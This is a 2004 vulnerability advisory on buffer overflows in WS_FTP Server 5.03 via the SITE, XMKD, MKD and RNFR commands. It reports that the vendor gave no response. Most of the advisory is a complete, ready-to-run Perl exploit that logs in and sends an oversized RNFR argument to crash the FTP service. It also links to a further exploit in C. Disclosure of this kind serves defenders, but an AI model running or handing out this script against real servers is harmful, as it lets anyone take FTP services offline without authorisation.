11.29.04

Summary:
Multiple buffer overflows exist in WS_FTP Server Version 5.03, 2004.10.14 (http://www.ipswitch.com/)

Details:
Multiple buffer overflows exist in WS_FTP Server Version 5.03, 2004.10.14. There are four vulnerable commands that can be used to cause these buffer overflows. Three of the vulnerable commands can be used to stop the WS_FTP Server service resulting in a denial of service. The vulnerable commands are SITE, XMKD, MKD, and RNFR.

Vulnerable Versions:
WS_FTP Server Version 5.03, 2004.10.14

Patches/Workarounds:
The vendor was notified of the issue. There was no response.

Exploits:
Run the following PERL script against the server. The corresponding process will die.

#===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass>
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
######################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER $ARGV[1]\r\n";

        sleep(1);

        print $socket "PASS $ARGV[2]\r\n";

        sleep(1);

        print $socket "PORT 127,0,0,1,18,12\r\n";

        sleep(1);

        print $socket "RNFR " . "A" x 768 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End WS_FTP_Overflow.pl =====

http://noph0bia.lostspirits.org/Exploits/IPSWSFTP-exploit.c
(Thanks to NoPh0bia - noph0bia[at]lostspirits[dot]org)

Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)

Vulnerability discovered using PeachFuzz
(http://reedarvin.thearvins.com/tools.html)